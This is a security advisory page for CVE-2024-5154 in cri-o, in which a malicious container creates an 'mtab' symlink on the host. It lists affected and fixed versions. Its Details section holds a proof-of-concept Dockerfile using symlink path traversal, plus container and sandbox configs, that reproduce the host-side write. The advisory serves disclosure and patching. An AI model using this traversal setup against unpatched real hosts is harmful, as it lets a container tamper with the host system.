HighGHSA-j9hf-98c3-wrm8CVE-2024-5154GO-2024-2919

malicious container creates symlink "mtab" on the host External

Published 4 Jun 2024 · Updated 8 Jul 2026

Is your project on an affected github.com/cri-o/cri-o?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Affected packages

Affected
>=1.28.6 <1.28.7
Fixed in
1.28.7
Update to the fixed version for your release line, for example:go get github.com/cri-o/cri-o@v1.28.7
Affected
>=1.29.4 <1.29.5
Fixed in
1.29.5
Update to the fixed version for your release line, for example:go get github.com/cri-o/cri-o@v1.29.5
Affected
>=1.30.0 <1.30.1
Fixed in
1.30.1
Update to the fixed version for your release line, for example:go get github.com/cri-o/cri-o@v1.30.1

Details

Impact

A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:

FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .

and this container config:

{
  "metadata": {
      "name": "busybox"
  },
  "image":{
      "image": "localhost/test"
  },
  "command": [
      "/bin/true"
  ],
  "linux": {
  }
}

and this sandbox config

{
  "metadata": {
    "name": "test-sandbox",
    "namespace": "default",
    "attempt": 1,
    "uid": "edishd83djaideaduwk28bcsb"
  },
  "linux": {
    "security_context": {
      "namespace_options": {
        "network": 2
      }
    }
  }
}

will create a file on host /host/mtab

Patches

1.30.1, 1.29.5, 1.28.7

Workarounds

Unfortunately not

References

_Are there any links users can visit to find out more?_

Is GHSA-j9hf-98c3-wrm8 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/cri-o/cri-o, and gives you the command that fixes it.

More advisories for github.com/cri-o/cri-o

  • LowCVE-2025-4437CRI-O has Potential High Memory Consumption from File Read in github.com/cri-o/cri-o · 29 Aug 2025
  • MediumCVE-2025-4437CRI-O has Potential High Memory Consumption from File Read · 20 Aug 2025
  • LowCVE-2025-0750CRI-O Path Traversal vulnerability in github.com/cri-o/cri-o · 29 Jan 2025
  • MediumCVE-2025-0750CRI-O Path Traversal vulnerability · 28 Jan 2025
  • LowCVE-2024-8676CRI-O: Maliciously structured checkpoint file can gain arbitrary node access in github.com/cri-o/cri-o · 4 Dec 2024
  • MediumCVE-2024-8676CRI-O: Maliciously structured checkpoint file can gain arbitrary node access · 26 Nov 2024
All 25 advisories for github.com/cri-o/cri-o

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.